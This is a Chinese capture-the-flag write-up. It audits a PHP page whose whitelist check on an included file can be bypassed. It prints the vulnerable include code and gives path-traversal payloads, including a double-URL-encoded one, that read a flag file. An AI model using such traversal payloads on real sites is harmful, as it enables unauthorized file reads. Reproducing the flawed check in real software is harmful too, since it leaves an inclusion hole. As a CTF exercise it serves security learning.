目录
考点
writeup
考点
文件上传漏洞,代码审计
writeup
先进入页面先查看源码
发现source.php,打开该php文件,进行审计代码后发现是文件包含类题目
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
本题涉及到的PHP函数使用方法
mb_substr:选择下标和输出长度<?php echo mb_substr("abcd", 0, 2);?>
// 输出:ab
mb_strpos:查找字符串首次出现的下标位置<?php
$str = '123456789';
echo mb_strpos($str,'567');
?>输出:4
代码审计时发现提示"hint"=>"hint.php",查看该文件发现可能存在flag的文件名

通过URL直接访问被拦截

审计代码后构造payload绕过拦截,然后通过目录依次查找该文件
绕过第二次判断
/?file=source.php?/../../../../../ffffllllaaaagggg
或者对?进行二次编码绕过第三次判断
/?file=source.php%253F/../../../../../ffffllllaaaagggg
拿到flag












![[附源码]Python计算机毕业设计Django校园服装租赁系统](https://img-blog.csdnimg.cn/d5ecd40895bd402b953b372f19060311.png)








![[附源码]计算机毕业设计Node.jsBuff饰品交易平台论文(程序+LW)](https://img-blog.csdnimg.cn/2f052b5af5ef4a12ab836dc771753bea.png)